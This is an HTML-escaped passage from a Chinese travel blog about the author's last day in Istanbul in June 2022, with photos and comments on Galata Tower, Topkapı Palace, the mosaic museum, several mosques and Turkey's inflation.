        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_194609.4750313449e4fc69.webp&quot;
	alt=&quot;加拉塔的顶端&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;加拉塔顶层可以俯瞰伊斯坦布尔。晚上有三名身穿白色制服的人背着手站岗。执勤时禁止拍摄，但结束后可以合影。&lt;&#x2F;p&gt;
&lt;p&gt;东罗马曾在加拉塔和另一座塔之间挂起铁链封锁金角湾，阻挡苏丹的船只。由于旱地行舟战术，奥斯曼完好无损地缴获了那段铁链——如今一部分放在加拉塔内展览。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220619_211152.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_211152.4e103c80e45de438.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_211152.a345768dfe8dc471.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_211152.cf9e8d8c7cf59335.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_211152.a345768dfe8dc471.webp&quot;
	alt=&quot;夜幕中的加拉塔&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220619_215835.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_215835.09615ca1a6e36bfa.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_215835.697e82e0fc64be71.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_215835.c713fee5f50a49b1.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220619_215835.697e82e0fc64be71.webp&quot;
	alt=&quot;封锁金角湾的铁链&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;2022-06-20&quot;&gt;2022-06-20&lt;&#x2F;h2&gt;
&lt;p&gt;在伊斯坦布尔的最后一天，我们五人分头行动了。我的第一站，是苏丹的旧皇宫。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;神圣和平教堂&quot;&gt;神圣和平教堂&lt;&#x2F;h3&gt;
&lt;p&gt;在托普卡帕宫入口处有个小东正教教堂。法提赫攻占君士坦丁堡后没有把它变为清真寺，而是改成了军械库。&lt;&#x2F;p&gt;
&lt;p&gt;图中右侧是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.thebyzantinelegacy.com&#x2F;hagia-eirene#:%7E:text=including%20monogram%20of%20Constantine%20V:~:text=Spolia%20under%20columns%2C%20including%20monogram%20of%20Constantine%20V&quot;&gt;君士坦丁五世的花押&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_132203.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132203.9fbf88f6f7eb2cfb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132203.24538792541556e4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132203.8d8b9b7f6eab9f96.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132203.24538792541556e4.webp&quot;
	alt=&quot;君士坦丁五世的花押&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;教堂后部有很像&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#St_Nicholas_Church&quot;&gt;圣尼古拉教堂&lt;&#x2F;a&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Synthronon。穹顶里画的是各种兵器和乐器，不知道是取武力保卫和平之意，还是改成军械库后重绘的——也有可能是军乐队的乐器。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_132020.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132020.1ad56b32d8736212.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132020.006d31258a89e5e8.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132020.bf71c96e094fb09f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132020.006d31258a89e5e8.webp&quot;
	alt=&quot;Synthronon&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_132136.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132136.f9e39ff5ce1b4d28.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132136.22f6cb566a4f0533.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132136.01372804a24c6094.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_132136.22f6cb566a4f0533.webp&quot;
	alt=&quot;穹顶里画的兵器和乐器&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;托普卡帕宫&quot;&gt;托普卡帕宫&lt;&#x2F;h3&gt;
&lt;p&gt;旧皇宫里最耀眼的还得是圣物馆，这里排的队比宫外买票的队还长。馆内有默罕默德的剑、默罕默德的胡子、克尔白的锁，以及最重量级的——摩西的手杖。据说还有现存最古老的古兰经，但我没注意，倒是有个穆斯林对着麦克风念经，在室外都能听到。&lt;&#x2F;p&gt;
&lt;p&gt;圣物馆还有施洗约翰的右手和枕骨，它们都放在镶嵌宝石的黄金容器里。右手的容器是一个长手套，手背部分开了一个小口，游客可以看到干尸的纹路。枕骨的容器形似鸟笼。不要说不让照相了，就是让照我也不敢照——恐怖。不过关于它们是否是真品，其实有争议。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_151510.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_151510.3c76cca11a9d8f2e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_151510.d4e5f09868fa0a77.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_151510.cd921ca5ae00e69f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_151510.d4e5f09868fa0a77.webp&quot;
	alt=&quot;圣物馆入口&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;伊斯坦布尔马赛克博物馆&quot;&gt;伊斯坦布尔马赛克博物馆&lt;&#x2F;h3&gt;
&lt;p&gt;在仍然矗立的托普卡帕宫不远，是君士坦丁堡大皇宫的废墟。50&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;多年前，来自圣安德鲁斯大学的考古学家在废墟中发掘出了一个列柱中庭（介绍说那所大学在爱丁堡，很怪&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，其中有大量查士丁尼时期铺设的马赛克地砖。考古学家在&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#%E7%A5%9E%E5%9C%A3%E5%92%8C%E5%B9%B3%E6%95%99%E5%A0%82&quot;&gt;神圣和平教堂&lt;&#x2F;a&gt;将地砖修复后，放到了这个博物馆展出。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_165720.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_165720.83c7d562052addca.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_165720.8c8ffe6c50d6119a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_165720.2bd701ff35822c74.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_165720.8c8ffe6c50d6119a.webp&quot;
	alt=&quot;博物馆最大的马赛克&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;画作内容大多与动物相关。我很喜欢人斗豹那幅，画面中心的残缺给胜负营造了悬念。圣安德鲁斯大学有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;collections.st-andrews.ac.uk&#x2F;item&#x2F;mosaic-great-palace-istanbul&#x2F;124991&quot;&gt;这张壁画&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1937&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的照片&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_165756.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_165756.3a44c67910a4488d.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_165756.8f6c2a1253efd8f1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_165756.79425d5ef08a015d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_165756.8f6c2a1253efd8f1.webp&quot;
	alt=&quot;熊啃鹿&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_170807.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_170807.72326eec112f0608.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_170807.41a1adeda62006b9.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_170807.91f67108d33a7d30.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_170807.41a1adeda62006b9.webp&quot;
	alt=&quot;人斗豹&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;土耳其和伊斯兰艺术馆&quot;&gt;土耳其和伊斯兰艺术馆&lt;&#x2F;h3&gt;
&lt;p&gt;参观完马赛克博物馆，我火速赶往艺术馆。比较失望，因为我期待见到的伊斯兰艺术是无限拼接的几何图形，结果这博物馆大部分是地毯和古兰经。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_173739.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_173739.28ce9bae676c95ae.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_173739.0d95af6dc3fe0bf8.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_173739.46c582f07b93f4b8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_173739.0d95af6dc3fe0bf8.webp&quot;
	alt=&quot;比较好看的拼接地砖&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_174022.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_174022.070416c45027c467.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_174022.0b1eb40da9fba0d1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_174022.29dfc4ae957f2653.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_174022.0b1eb40da9fba0d1.webp&quot;
	alt=&quot;某清真寺的铁门&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;馆里有一块阿纳托利亚的狮鹫石刻古朴可爱，可惜照片拍毁了。&lt;&#x2F;p&gt;
&lt;p&gt;另外令人惊讶的是土耳其也有皮影戏，博物馆说至少有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;500&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年历史——中国&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;500&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年前，已经是明朝了。&lt;&#x2F;p&gt;
&lt;p&gt;美术馆距离蓝色清真寺不远，可以拍到蓝色清真寺和狄奥多西方尖碑的顶部。这方尖碑本来是图特摩斯三世的，被狄奥多西运到了君士坦丁堡。罗马人，也是爱好盗宝的欧洲蛮子。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_175415.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_175415.417248eec6fec943.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_175415.23046b6a1eeafb24.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_175415.1d2d72f0e64046c0.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_175415.23046b6a1eeafb24.webp&quot;
	alt=&quot;艺术馆看蓝色清真寺&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;Three_partners_cafe_&amp;amp;_restaurant&quot;&gt;Three partners cafe &amp;amp; restaurant&lt;&#x2F;h3&gt;
&lt;p&gt;由于时间计划失误，我中午没有吃饭，游览完艺术馆已经是下午了，火速找了家便宜又高分的餐厅。这家餐厅离蓝色清真寺不远，店主十分热情。我点了苹果茶、Adana
Kebap&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Baklava，店家送了三个前菜、一碗&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rice
pudding&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和一杯茶，算账时还把苹果茶的钱免了。很遗憾最后一天才遇到这家店，之前一直觉得土耳其餐厅奸的。&lt;&#x2F;p&gt;
&lt;p&gt;本来决定吃完饭就回酒店，但是真吃完后体力大增，遂决定再逛逛苏莱曼尼耶清真寺。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;君士坦丁柱和奴鲁奥斯玛尼耶清真寺&quot;&gt;君士坦丁柱和奴鲁奥斯玛尼耶清真寺&lt;&#x2F;h3&gt;
&lt;p&gt;柱子来自罗马的阿波罗神庙，上面最初是阿波罗的雕像，君士坦丁换成了自己的。后世的几位皇帝也有样学样把自己的雕像放上去。1081&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年，柱子和上面的雕像被雷劈毁了，时任皇帝在顶上装了十字架。再然后，法提赫又把十字架给拆了。奥斯曼时期，柱子被火烧毁，穆斯塔法二世用铁环把柱子箍了起来。有传言说柱子下面有耶稣的遗物。&lt;&#x2F;p&gt;
&lt;p&gt;君士坦丁柱不远就是奴鲁奥斯玛尼耶清真寺。这座清真寺是伊斯坦布尔第一座巴洛克风格清真寺，很漂亮。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_193652.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_193652.04f129cb109e3397.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_193652.368a5390c0bb4f7e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_193652.9fa7c040dcaf642b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_193652.368a5390c0bb4f7e.webp&quot;
	alt=&quot;君士坦丁柱&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_194407.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_194407.280b9cc52aaeffdb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_194407.8e3497563fbad1df.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_194407.44763704fde60ed3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_194407.8e3497563fbad1df.webp&quot;
	alt=&quot;奴鲁奥斯玛尼耶清真寺&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;苏莱曼尼耶清真寺&quot;&gt;苏莱曼尼耶清真寺&lt;&#x2F;h3&gt;
&lt;p&gt;从奴鲁奥斯玛尼耶清真寺穿过大巴扎大概走&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;15&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟，就能到达苏莱曼尼耶清真寺。苏莱曼尼耶也是蓝色的，而且比&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#%E8%8B%8F%E4%B8%B9%E8%89%BE%E5%93%88%E8%BF%88%E5%BE%B7%E6%B8%85%E7%9C%9F%E5%AF%BA&quot;&gt;苏丹艾哈迈德&lt;&#x2F;a&gt;更大，不知道它为什么不叫蓝色清真寺。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_200229.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_200229.c65072468cde1bda.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_200229.ac7221c821925a2a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_200229.40ab4a5666474fa4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_200229.ac7221c821925a2a.webp&quot;
	alt=&quot;苏莱曼尼耶的小洋葱头&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_201138.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_201138.2851649804a7f34e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_201138.adf8d6210639392c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_201138.10ec9c01cfc63cdc.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_201138.adf8d6210639392c.webp&quot;
	alt=&quot;苏莱曼尼耶的入口&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;这座清真寺里也有穆斯林传教士。圣索菲亚的传教士会给你介绍圣索菲亚的历史和壁画，我以为这里的也一样。结果苏莱曼尼耶的传教士跟传了两个半小时教，当我问他能不能给介绍下这座清真寺时，他说：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;兄弟，那有本册子，你自己去看吧&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;传教士的逻辑链条始于世界如此完美，所以一定要有一个创造者（阿拉&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。阿拉也是完美的，但当我问他阿拉如此完美，是不是也有创造阿拉的神时，他说这是悖论，不算。链条的下一节是阿拉创造了人，这一举动一定有意义，这一意义就是要我们感谢它——可他又说它不需要我们的感谢，我感到这也有些矛盾。&lt;&#x2F;p&gt;
&lt;p&gt;令我惊奇的是他认为伊斯兰教是男女平等的宗教。那为什么女人有各种限制？他回答男女有别，所以男女有不同的责任——我听到这都愣了，没想到是这么辩的。&lt;&#x2F;p&gt;
&lt;p&gt;第二天，我坐飞机离开了伊斯坦布尔，结束了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2022&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的土耳其之旅。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;One_more_thing&quot;&gt;One more thing&lt;&#x2F;h2&gt;
&lt;p&gt;前面的内容是根据景点写的，这里记录一些和景点关系不大的内容。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;土耳其现在这套字母大写后不等高。一路上排版各不一样，很有趣：





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Turkish-typography.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Turkish-typography.jpg&quot;
	alt=&quot;排版中难受的İÖÜ&quot;
	height=&quot;720&quot;
	width=&quot;1280&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;li&gt;
&lt;li&gt;经济下滑：
&lt;ul&gt;
&lt;li&gt;餐厅的菜单全都贴着贴纸涨价，甚至门票上都有贴纸：








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220620_170834.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_170834.a455e4b1f0b573fe.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_170834.6736873e2c87df2d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_170834.33844101e1ad6891.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220620_170834.6736873e2c87df2d.webp&quot;
	alt=&quot;马赛克博物馆门票上的贴纸&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;li&gt;
&lt;li&gt;酒店、游艇、房产用欧元结算；&lt;&#x2F;li&gt;
&lt;li&gt;在伊斯坦布尔见到两次翻垃圾桶捡面包的罩袍女人（土耳其餐厅会先给你上一篮面包，所以垃圾桶能翻到很多&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;信教的和不信教的土耳其人都因此讨厌埃苏丹；&lt;&#x2F;li&gt;
&lt;li&gt;虽然里拉汇率暴跌，但这次旅行并不便宜——原因是上面说的涨价与外币结算。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
